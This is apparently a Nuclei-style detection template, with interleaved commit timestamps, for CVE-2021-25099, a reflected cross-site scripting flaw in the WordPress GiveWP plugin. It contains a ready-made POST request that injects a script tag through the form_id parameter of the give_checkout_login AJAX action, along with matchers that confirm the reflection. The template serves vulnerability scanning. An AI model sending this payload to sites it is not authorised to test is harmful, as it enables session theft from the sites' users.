2022-12-12 16:23:16 +00:00
id : CVE-2021-25099
info :
2023-01-16 17:41:15 +00:00
name : WordPress GiveWP <2.17.3 - Cross-Site Scripting
2022-12-12 16:23:16 +00:00
author : theamanrawat
severity : medium
description : |
2023-01-16 17:41:15 +00:00
WordPress GiveWP plugin before 2.17.3 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the form_id parameter before returning it in the response of an unauthenticated request via the give_checkout_login AJAX action. An attacker can inject arbitrary script in the browser of a user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2022-12-12 16:23:16 +00:00
reference :
- https://wpscan.com/vulnerability/87a64b27-23a3-40f5-a3d8-0650975fee6f
- https://wordpress.org/plugins/give/
- https://nvd.nist.gov/vuln/detail/CVE-2021-25099
classification :
2023-02-26 13:23:33 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-12-12 16:23:16 +00:00
cve-id : CVE-2021-25099
2023-02-26 13:23:33 +00:00
cwe-id : CWE-79
2022-12-12 16:23:16 +00:00
metadata :
2023-02-26 13:23:33 +00:00
verified : "true"
2023-03-23 12:51:43 +00:00
tags : xss,cve2021,wp,give,wordpress,cve,wp-plugin,unauth,wpscan
2022-12-12 16:23:16 +00:00
requests :
- raw :
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
action=give_checkout_login&form_id=xxxxxx"><script>alert(document.domain)</script>
matchers :
- type : dsl
dsl :
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "<script>alert(document.domain)</script>")'
2022-12-12 18:17:01 +00:00
- 'contains(body, "give_user_login")'
2022-12-12 16:23:16 +00:00
condition : and
2023-01-16 17:41:15 +00:00
# Enhanced by md on 2023/01/06